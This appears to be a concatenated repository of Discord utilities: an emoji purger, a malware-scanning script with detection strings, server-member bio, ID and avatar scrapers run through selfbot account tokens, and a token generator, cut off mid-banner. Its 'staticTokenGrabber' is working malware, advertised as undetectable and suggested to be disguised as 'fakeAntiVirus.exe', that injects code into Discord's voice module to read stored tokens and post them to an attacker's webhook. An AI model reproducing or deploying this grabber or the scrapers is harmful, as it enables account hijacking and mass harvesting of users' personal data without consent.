"https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 1609 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 1610 | }, 1611 | "node_modules/set-cookie-parser": { 1612 | "version": "2.6.0", 1613 | "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.6.0.tgz", 1614 | "integrity": "sha512-RVnVQxTXuerk653XfuliOxBP81Sf0+qfQE73LIYKcyMYHG94AuH0kgrQpRDuTZnSmjpysHmzxJXKNfa6PjFhyQ==" 1615 | }, 1616 | "node_modules/sshpk": { 1617 | "version": "1.17.0", 1618 | "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.17.0.tgz", 1619 | "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==", 1620 | "dependencies": { 1621 | "asn1": "~0.2.3", 1622 | "assert-plus": "^1.0.0", 1623 | "bcrypt-pbkdf": "^1.0.0", 1624 | "dashdash": "^1.12.0", 1625 | "ecc-jsbn": "~0.1.1", 1626 | "getpass": "^0.1.1", 1627 | "jsbn": "~0.1.0", 1628 | "safer-buffer": "^2.0.2", 1629 | "tweetnacl": "~0.14.0" 1630 | }, 1631 | "bin": { 1632 | "sshpk-conv": "bin/sshpk-conv", 1633 | "sshpk-sign": "bin/sshpk-sign", 1634 | "sshpk-verify": "bin/sshpk-verify" 1635 | }, 1636 | "engines": { 1637 | "node": ">=0.10.0" 1638 | } 1639 | }, 1640 | "node_modules/streamsearch": { 1641 | "version": "1.1.0", 1642 | "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-1.1.0.tgz", 1643 | "integrity": "sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==", 1644 | "engines": { 1645 | "node": ">=10.0.0" 1646 | } 1647 | }, 1648 | "node_modules/string_decoder": { 1649 | "version": "1.3.0", 1650 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", 1651 | "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", 1652 | "dependencies": { 1653 | "safe-buffer": "~5.2.0" 1654 | } 1655 | }, 1656 | "node_modules/string-similarity": { 1657 | "version": "4.0.4", 1658 | "resolved": "https://registry.npmjs.org/string-similarity/-/string-similarity-4.0.4.tgz", 1659 | "integrity": "sha512-/q/8Q4Bl4ZKAPjj8WerIBJWALKkaPRfrvhfF8k/B23i4nzrlRj2/go1m90In7nG/3XDSbOo0+pu6RvCTM9RGMQ==", 1660 | "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info." 1661 | }, 1662 | "node_modules/supports-color": { 1663 | "version": "5.5.0", 1664 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", 1665 | "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", 1666 | "dependencies": { 1667 | "has-flag": "^3.0.0" 1668 | }, 1669 | "engines": { 1670 | "node": ">=4" 1671 | } 1672 | }, 1673 | "node_modules/to-regex-range": { 1674 | "version": "5.0.1", 1675 | "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", 1676 | "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", 1677 | "dependencies": { 1678 | "is-number": "^7.0.0" 1679 | }, 1680 | "engines": { 1681 | "node": ">=8.0" 1682 | } 1683 | }, 1684 | "node_modules/tough-cookie": { 1685 | "version": "4.1.3", 1686 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", 1687 | "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", 1688 | "dependencies": { 1689 | "psl": "^1.1.33", 1690 | "punycode": "^2.1.1", 1691 | "universalify": "^0.2.0", 1692 | "url-parse": "^1.5.3" 1693 | }, 1694 | "engines": { 1695 | "node": ">=6" 1696 | } 1697 | }, 1698 | "node_modules/tr46": { 1699 | "version": "0.0.3", 1700 | "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", 1701 | "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==" 1702 | }, 1703 | "node_modules/ts-mixer": { 1704 | "version": "6.0.3", 1705 | "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.3.tgz", 1706 | "integrity": "sha512-k43M7uCG1AkTyxgnmI5MPwKoUvS/bRvLvUb7+Pgpdlmok8AoqmUaZxUUw8zKM5B1lqZrt41GjYgnvAi0fppqgQ==" 1707 | }, 1708 | "node_modules/tslib": { 1709 | "version": "2.6.2", 1710 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", 1711 | "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" 1712 | }, 1713 | "node_modules/tunnel-agent": { 1714 | "version": "0.6.0", 1715 | "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", 1716 | "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", 1717 | "dependencies": { 1718 | "safe-buffer": "^5.0.1" 1719 | }, 1720 | "engines": { 1721 | "node": "*" 1722 | } 1723 | }, 1724 | "node_modules/tweetnacl": { 1725 | "version": "0.14.5", 1726 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", 1727 | "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==" 1728 | }, 1729 | "node_modules/undici": { 1730 | "version": "5.22.1", 1731 | "resolved": "https://registry.npmjs.org/undici/-/undici-5.22.1.tgz", 1732 | "integrity": "sha512-Ji2IJhFXZY0x/0tVBXeQwgPlLWw13GVzpsWPQ3rV50IFMMof2I55PZZxtm4P6iNq+L5znYN9nSTAq0ZyE6lSJw==", 1733 | "dependencies": { 1734 | "busboy": "^1.6.0" 1735 | }, 1736 | "engines": { 1737 | "node": ">=14.0" 1738 | } 1739 | }, 1740 | "node_modules/universalify": { 1741 | "version": "0.2.0", 1742 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", 1743 | "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", 1744 | "engines": { 1745 | "node": ">= 4.0.0" 1746 | } 1747 | }, 1748 | "node_modules/uri-js": { 1749 | "version": "4.4.1", 1750 | "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", 1751 | "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", 1752 | "dependencies": { 1753 | "punycode": "^2.1.0" 1754 | } 1755 | }, 1756 | "node_modules/url-parse": { 1757 | "version": "1.5.10", 1758 | "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", 1759 | "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", 1760 | "dependencies": { 1761 | "querystringify": "^2.1.1", 1762 | "requires-port": "^1.0.0" 1763 | } 1764 | }, 1765 | "node_modules/util": { 1766 | "version": "0.10.4", 1767 | "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz", 1768 | "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==", 1769 | "dependencies": { 1770 | "inherits": "2.0.3" 1771 | } 1772 | }, 1773 | "node_modules/uuid": { 1774 | "version": "3.4.0", 1775 | "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", 1776 | "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", 1777 | "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", 1778 | "bin": { 1779 | "uuid": "bin/uuid" 1780 | } 1781 | }, 1782 | "node_modules/verror": { 1783 | "version": "1.10.0", 1784 | "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", 1785 | "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", 1786 | "engines": [ 1787 | "node >=0.6.0" 1788 | ], 1789 | "dependencies": { 1790 | "assert-plus": "^1.0.0", 1791 | "core-util-is": "1.0.2", 1792 | "extsprintf": "^1.2.0" 1793 | } 1794 | }, 1795 | "node_modules/webidl-conversions": { 1796 | "version": "3.0.1", 1797 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", 1798 | "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" 1799 | }, 1800 | "node_modules/whatwg-url": { 1801 | "version": "5.0.0", 1802 | "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", 1803 | "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", 1804 | "dependencies": { 1805 | "tr46": "~0.0.3", 1806 | "webidl-conversions": "^3.0.0" 1807 | } 1808 | }, 1809 | "node_modules/ws": { 1810 | "version": "8.13.0", 1811 | "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", 1812 | "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", 1813 | "engines": { 1814 | "node": ">=10.0.0" 1815 | }, 1816 | "peerDependencies": { 1817 | "bufferutil": "^4.0.1", 1818 | "utf-8-validate": ">=5.0.2" 1819 | }, 1820 | "peerDependenciesMeta": { 1821 | "bufferutil": { 1822 | "optional": true 1823 | }, 1824 | "utf-8-validate": { 1825 | "optional": true 1826 | } 1827 | } 1828 | } 1829 | } 1830 | } 1831 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "zerodiscord", 3 | "author": "CSPI", 4 | "license": "MIT", 5 | "dependencies": { 6 | "argparse": "^2.0.1", 7 | "chalk": "^2.4.2", 8 | "chokidar": "^3.5.3", 9 | "delay": "^5.0.0", 10 | "discord-backup": "^3.3.2", 11 | "discord.js": "^13.3.1", 12 | "discord.js-selfbot-v13": "^2.14.10", 13 | "discordnitro": "^0.1.6", 14 | "json-hood": "^1.1.4", 15 | "parallel-park": "^0.2.0", 16 | "path": "^0.12.7", 17 | "public-ip": "^6.0.1", 18 | "random-useragent": "^0.5.0", 19 | "recursive-readdir-async": "^1.3.0", 20 | "request-async": "^0.1.0" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /purgeSEmojis/README.md: -------------------------------------------------------------------------------- 1 | # purgeSEmojis 2 | Easily purge your Discord server emojis with one command. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js@13.3.1 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - Your Discord bot token. 16 | - guildID - The target server ID. 17 | 18 | ## Note 19 | Make sure to give the bot administrator permission for this to work properly. -------------------------------------------------------------------------------- /purgeSEmojis/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { Client, Intents } = require("discord.js") 5 | 6 | // Variables 7 | const args = process.argv.slice(2) 8 | const bot = new Client({ intents: [ Intents.FLAGS.GUILDS, Intents.FLAGS.GUILD_MESSAGES, Intents.FLAGS.GUILD_MESSAGE_REACTIONS, Intents.FLAGS.DIRECT_MESSAGE_REACTIONS, Intents.FLAGS.DIRECT_MESSAGES, Intents.FLAGS.GUILD_MEMBERS ] }) 9 | 10 | // Main 11 | if(!args.length) return console.log("usage: node index.js ") 12 | 13 | bot.on("ready", async()=>{ 14 | console.log("PurgeSEmojis is running...") 15 | const guild = bot.guilds.cache.get(args[1]) 16 | if(!guild){ 17 | console.log("Invalid guildID.") 18 | process.exit() 19 | } 20 | console.log("Scraping and deleting the server emojis, please wait...") 21 | await guild.emojis.fetch() 22 | 23 | for( const emoji of Array.from(guild.emojis.cache.values()) ){ 24 | try{ 25 | await emoji.delete() 26 | console.log(`Emoji ${emoji.name} successfully deleted.`) 27 | }catch{ 28 | console.log(`Unable to delete emoji ${emoji.name} or has no permission to.`) 29 | } 30 | } 31 | 32 | console.log("Server emojis successfully deleted.") 33 | process.exit() 34 | }) 35 | 36 | bot.login(args[0]) -------------------------------------------------------------------------------- /purifier/README.md: -------------------------------------------------------------------------------- 1 | # purifier 2 | Finds malicious files in your Discord directories, this is really useful If something is happening with your account without you doing or If someone injected a malicious code in your Discord. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i recursive-readdir-async parallel-park chalk 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | ## Note 16 | This does not work in non Windows unless you know how to change the **local** & **roaming** path in the code & this does not gurantee 100% security as Discord malwares can run persistently without injecting into Discord directories but It can be use for quick auditing & checking. -------------------------------------------------------------------------------- /purifier/database.json: -------------------------------------------------------------------------------- 1 | { 2 | "detection": { 3 | "texts": [ 4 | "discord.com/api/", 5 | "\"POST\"", 6 | "'require(\"fs\")'", 7 | "L2FwaS93ZWJob29rcy8=", 8 | "users/@me", 9 | "dXNlcnMvQG1l", 10 | "JSON.stringify(body)" 11 | ], 12 | "falsePositives": [ 13 | { 14 | "identifier": "discord_desktop_core/core.asar", 15 | "rate": "98%" 16 | }, 17 | { 18 | "identifier": "/resources/app.asar", 19 | "rate": "98%" 20 | }, 21 | { 22 | "identifier": "/node_modules/", 23 | "rate": "96%" 24 | } 25 | ] 26 | } 27 | } -------------------------------------------------------------------------------- /purifier/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const rra = require("recursive-readdir-async") 5 | const { runJobs } = require("parallel-park") 6 | const chalk = require("chalk") 7 | const os = require("os") 8 | const fs = require("fs") 9 | 10 | // Variables 11 | const database = require("./database.json") 12 | const detection = database.detection 13 | 14 | const homeDir = os.homedir() 15 | const local = `${homeDir}\\AppData\\Local\\Discord` 16 | const roaming = `${homeDir}\\AppData\\Roaming\\discord` 17 | 18 | var positive = 0 19 | var canBeFalsePositive = 0 20 | var type = 0 21 | 22 | // Functions 23 | function log(type, path, rate){ 24 | if(type === "warn"){ 25 | positive++ 26 | console.log(`[${chalk.redBright("WARN")}] ${path}`) 27 | }else if(type === "fp"){ 28 | canBeFalsePositive++ 29 | console.log(`[${chalk.redBright("WARN")}][${chalk.yellowBright("CAN BE FALSE POSITIVE")}][${rate}] ${path}`) 30 | } 31 | } 32 | 33 | function detected(path){ 34 | var fp = false 35 | 36 | for( const object of detection.falsePositives ){ 37 | if(path.indexOf(object.identifier) !== -1){ 38 | fp = true 39 | log("fp", path, object.rate) 40 | } 41 | } 42 | 43 | if(!fp) log("warn", path) 44 | } 45 | 46 | function scanDirectory(directory){ 47 | return new Promise(async(resolve)=>{ 48 | const files = await rra.list(directory, { recursive: true, realPath: true, extensions: true }, function(object){ 49 | const ignoreExtensions = [".log", ".node"] 50 | const path = object.fullname 51 | 52 | for( const extension of ignoreExtensions ) if(object.extension.indexOf(extension) !== -1) return true 53 | if(path.indexOf("/discord/Cache") !== -1 || path.indexOf("/discord/Code Cache/") !== -1) return true 54 | }) 55 | 56 | await runJobs( 57 | files.map((f) => f.fullname), 58 | async(path, index, max)=>{ 59 | try{ 60 | const data = fs.readFileSync(path, "utf8") 61 | 62 | for( const text of detection.texts ) if(data.indexOf(text) !== -1) detected(path) 63 | }catch{} 64 | } 65 | ) 66 | 67 | resolve() 68 | }) 69 | } 70 | 71 | async function start(){ 72 | await scanDirectory(type ? roaming : local) 73 | 74 | if(type > 0){ 75 | if(!positive && !canBeFalsePositive) console.log("It seems like your Discord is clean.") 76 | 77 | positive ? console.log(`${positive} positive malicious files found.`) : console.log(`${canBeFalsePositive} can be false positive malicious files found.`) 78 | 79 | return console.log("Finished!") 80 | } 81 | 82 | type++ 83 | start() 84 | } 85 | 86 | // Main 87 | console.log("Scanning has started.") 88 | start() -------------------------------------------------------------------------------- /serverInformationGrabber/README.md: -------------------------------------------------------------------------------- 1 | # serverInformationGrabber 2 | The name already explains it. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i request-async 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - guildID - The target server/guild ID. 16 | - token - The Discord account token that will be used for API authorization. -------------------------------------------------------------------------------- /serverInformationGrabber/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const request = require("request-async") 5 | 6 | // Variables 7 | const args = process.argv.slice(2) 8 | 9 | // Functions 10 | async function grabServerInformation(){ 11 | try{ 12 | console.log("Grabbing the server information, please wait.") 13 | 14 | var response = await request(`https://discord.com/api/v6/guilds/${args[0]}`, { 15 | headers: { 16 | authorization: args[1] 17 | } 18 | }) 19 | 20 | response = JSON.parse(response.body) 21 | 22 | console.log(` 23 | Server icon: https://cdn.discordapp.com/icons/${response.id}/${response.icon}.png 24 | Server splash: ${response.splash} 25 | Server discovery splash: ${response.discovery_splash} 26 | Server id: ${response.id} 27 | Server name: ${response.name} 28 | Server description: ${response.description} 29 | Server vanity: ${response.vanity_url_code} 30 | Server owner id: ${response.owner_id} 31 | Server verification level: ${response.verification_level} 32 | Server emojis amount: ${response.emojis.length} 33 | Server stickers amount: ${response.stickers.length} 34 | Server roles amount: ${response.roles.length} 35 | Finished!`) 36 | }catch{ 37 | console.log("Invalid token/guildId.") 38 | } 39 | } 40 | 41 | // Main 42 | if(!args.length) return console.log("usage: node index.js ") 43 | if(!args[0]) return console.log("Invalid guildId.") 44 | if(isNaN(args[0])) return console.log("guildId is not a number.") 45 | if(!args[1]) return console.log("Invalid token.") 46 | 47 | grabServerInformation() -------------------------------------------------------------------------------- /serverMBS/README.md: -------------------------------------------------------------------------------- 1 | # serverMBS 2 | Server members bio scraper. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js-selfbot-v13 fs 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - Discord account token. 16 | - serverID - Target server ID. 17 | - outputFile - Output file on where to save the bios. -------------------------------------------------------------------------------- /serverMBS/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const discord = require("discord.js-selfbot-v13") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const args = process.argv.slice(2) 9 | const client = new discord.Client() 10 | const bios = [] 11 | var index = 0 12 | 13 | // Functions 14 | function check(){ 15 | index++ 16 | if(index === bios.length){ 17 | console.log("Finished.") 18 | return process.exit() 19 | } 20 | } 21 | 22 | // Main 23 | if(!args.length) return console.log("usage: node index.js ") 24 | 25 | client.on("ready", async()=>{ 26 | console.log(`Successfully login as ${client.user.tag}`) 27 | console.log("Scraping the guild members pfp, please wait...") 28 | 29 | const guild = client.guilds.cache.get(args[1]) 30 | const members = await guild.members.fetch() 31 | 32 | console.log("Scraping BIOs, please wait...") 33 | for( const member of members.values() ) if(member.user.bio) bios.push(member.user.bio) 34 | 35 | setTimeout(()=>{ 36 | fs.writeFileSync(args[2], bios.join("\n"), "utf8") 37 | console.log("Finished.") 38 | process.exit() 39 | }, 5 * 1000) 40 | }) 41 | 42 | client.login(args[0]) -------------------------------------------------------------------------------- /serverMI/README.md: -------------------------------------------------------------------------------- 1 | # serverMI 2 | Server members id scraper. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i discord.js-selfbot-v13 fs 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - Discord account token. 16 | - serverID - Target server ID. 17 | - outputFile - Output file on where to save the IDs. -------------------------------------------------------------------------------- /serverMI/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const { Client } = require("discord.js-selfbot-v13") 5 | const fs = require("fs") 6 | 7 | // Variables 8 | const args = process.argv.slice(2) 9 | const user = new Client() 10 | 11 | // Main 12 | if(!args.length) return console.log("usage: node index.js ") 13 | 14 | user.on("ready", ()=>{ 15 | console.log("Scraping server Discord members IDs, please wait...") 16 | const memberIDs = (await (await user.guilds.fetch(args[1])).members.fetch({ limit: 0, force: true })).filter(x => x.user.id !== null && !x.user.bot).map(r => r.user.id) 17 | fs.writeFileSync(args[3], memberIDs.join("\n"), "utf8") 18 | console.log("Finished.") 19 | process.exit() 20 | }) 21 | 22 | user.login(args[0]).catch(()=>{ 23 | console.log("Invalid token.") 24 | }) -------------------------------------------------------------------------------- /serverUPD/README.md: -------------------------------------------------------------------------------- 1 | # serverUPD 2 | Server members profile pictures downloader. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i nodejs-file-downloader discord.js-selfbot-v13 bottleneck 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - token - Discord account token. 16 | - serverID - Target server ID. 17 | - outputDir - Directory path on where to save the pfps. -------------------------------------------------------------------------------- /serverUPD/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const fileDownloader = require("nodejs-file-downloader") 5 | const discord = require("discord.js-selfbot-v13") 6 | const bottleneck = require("bottleneck").default 7 | 8 | // Variables 9 | const args = process.argv.slice(2) 10 | const client = new discord.Client() 11 | const threads = new bottleneck({ 12 | maxConcurrent: 50, 13 | minTime: 1000 14 | }) 15 | const pfps = [] 16 | var index = 0 17 | 18 | // Functions 19 | async function download(url, out){ 20 | try{ 21 | const downloader = new fileDownloader({ 22 | url: url, 23 | fileName: url.match(/\w+.png/)[0], 24 | directory: out 25 | }) 26 | 27 | await downloader.download() 28 | 29 | console.log(`Status: Success | Link: ${url}`) 30 | }catch{ 31 | console.log(`Status: Failed | Link: ${url}`) 32 | } 33 | 34 | index++ 35 | 36 | if(index === pfps.length){ 37 | console.log("Finished.") 38 | return process.exit() 39 | } 40 | } 41 | 42 | // Main 43 | if(!args.length) return console.log("usage: node index.js ") 44 | 45 | client.on("ready", async()=>{ 46 | console.log(`Successfully login as ${client.user.tag}`) 47 | console.log("Scraping the guild members pfp, please wait...") 48 | 49 | const guild = client.guilds.cache.get(args[1]) 50 | const members = await guild.members.fetch() 51 | 52 | members.forEach((member)=>{ 53 | var pfp = member.user.displayAvatarURL() 54 | 55 | if(pfp.match("/embed/avatars/")) return 56 | 57 | pfp = pfp.replace(".webp", ".png") 58 | 59 | pfps.push(pfp) 60 | threads.schedule(download, pfp, args[2]) 61 | }) 62 | }) 63 | 64 | client.login(args[0]) -------------------------------------------------------------------------------- /staticTokenGrabber/README.md: -------------------------------------------------------------------------------- 1 | # staticTokenGrabber 2 | 100% undetectable static Discord token grabber. 3 | 4 | ## Build 5 | 1. Open index.js then find webhookLink. 6 | 2. Change it with your webhook link. 7 | 3. Compile index.js to exe file using [pkg](https://www.npmjs.com/package/pkg). 8 | 4. Your done. 9 | 10 | PKG compiling example: 11 | ``` 12 | pkg index.js -o fakeAntiVirus.exe 13 | ``` -------------------------------------------------------------------------------- /staticTokenGrabber/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const fs = require("fs") 5 | const os = require("os") 6 | 7 | // Variables 8 | const maliciousCode = `\nconst os = require("os") 9 | 10 | setInterval(function(){ 11 | fs.readdir("C:/Users/" + os.userInfo().username + "/AppData/Roaming/discord/Local Storage/leveldb", "utf8", function(err, files){ 12 | if(err){ 13 | Done() 14 | return 15 | } 16 | 17 | files.forEach(file =>{ 18 | if(file.indexOf("log") !== -1){ 19 | const logData = fs.readFileSync("C:/Users/" + os.userInfo().username + "/AppData/Roaming/discord/Local Storage/leveldb/" + file, "utf8") 20 | const tokens = logData.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g) 21 | const resultTokens = [] 22 | 23 | if(!logData.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g)) return console.log("No discord tokens found.") 24 | 25 | for( i = 0; i <= tokens.length-1; i++ ){ 26 | if(resultTokens.indexOf(tokens[i]) === -1){ 27 | resultTokens.push(tokens[i]) 28 | } 29 | } 30 | 31 | fetch("webhookLink", { 32 | method: "POST", 33 | headers: { 34 | "Content-Type": "application/json" 35 | }, 36 | body: JSON.stringify({ content: resultTokens.join(", ") }) 37 | }) 38 | return 39 | } 40 | }) 41 | }) 42 | }, 10000)` 43 | 44 | // Main 45 | if(fs.existsSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord`)){ 46 | const directories = fs.readdirSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 47 | 48 | directories().forEach(directory =>{ 49 | const directories2 = fs.readdirSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name) 50 | 51 | if(directory.indexOf("app") !== -1){ 52 | directories2().forEach(directory2 =>{ 53 | if(directory2.indexOf("discord_voice") !== -1){ 54 | fs.readFile(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, "utf8", function(err, data){ 55 | if(err) process.exit() 56 | if(data.indexOf("fetch(") !== -1) process.exit() 57 | 58 | data += `\n${maliciousCode}` 59 | 60 | fs.writeFileSync(`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, data, "utf8") 61 | }) 62 | } 63 | }) 64 | } 65 | }) 66 | } -------------------------------------------------------------------------------- /tokenGenerator&Checker/README.md: -------------------------------------------------------------------------------- 1 | # tokenGenerator&Checker 2 | The name already explains it. 3 | 4 | ## Installation 5 | NpmJS: 6 | ``` 7 | npm i randomstring request-async delay chalk console-title 8 | ``` 9 | 10 | ## Usage 11 | ``` 12 | node index.js 13 | ``` 14 | 15 | - output - The output file path on where to save the valid tokens. -------------------------------------------------------------------------------- /tokenGenerator&Checker/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | // Dependencies 4 | const randomString = require("randomstring") 5 | const setTitle = require("console-title") 6 | const request = require("request-async") 7 | const delay = require("delay") 8 | const chalk = require("chalk") 9 | const fs = require("fs") 10 | 11 | // Variables 12 | const args = process.argv.slice(2) 13 | 14 | // Main 15 | if(!args.length) return console.log("usage: node index.js ") 16 | 17 | setTitle(`Discord Token Generator & Checker | DT G&C | Dev: I2rys | Menu Dev: cutieQue | Assistant Dev: cutieQue`); 18 | console.clear() 19 | console.log(chalk.yellowBright(` 20 | ██████╗░██╗░██████╗░█████╗░░█████╗░██████╗░██████╗░  ████████╗░█████╗░██╗░░██╗███████╗███╗░░██╗ 21 | ██╔══██╗██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗  ╚══██╔══╝██╔══██╗██║░██╔╝██╔════╝████╗░██║ 22 | ██║░░██║██║╚█████╗░██║░░╚═╝██║░░██║██████╔╝██║░░██║  ░░░██║░░░██║░░██║█████═╝░█████╗░░██╔██╗██║ 23 | ██║░░██║██║░╚═══██╗██║░░██╗██║░░██║██╔══██╗██║░░██║  ░░░██║░░░██║░░██║██╔═██╗░██╔══╝░░██║╚████║ 24 | ██████╔╝██║██████╔╝╚█████╔╝╚█████╔╝██║░░██║██████╔╝  ░░░██║░░░╚█████╔╝██║░╚██╗███████╗██║░╚███║ 25 | ╚═════╝░╚═╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░  ░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚══╝ 26 | ░██████╗░███████╗███╗░░██╗  ░█████╗░███╗░░██╗██████╗░  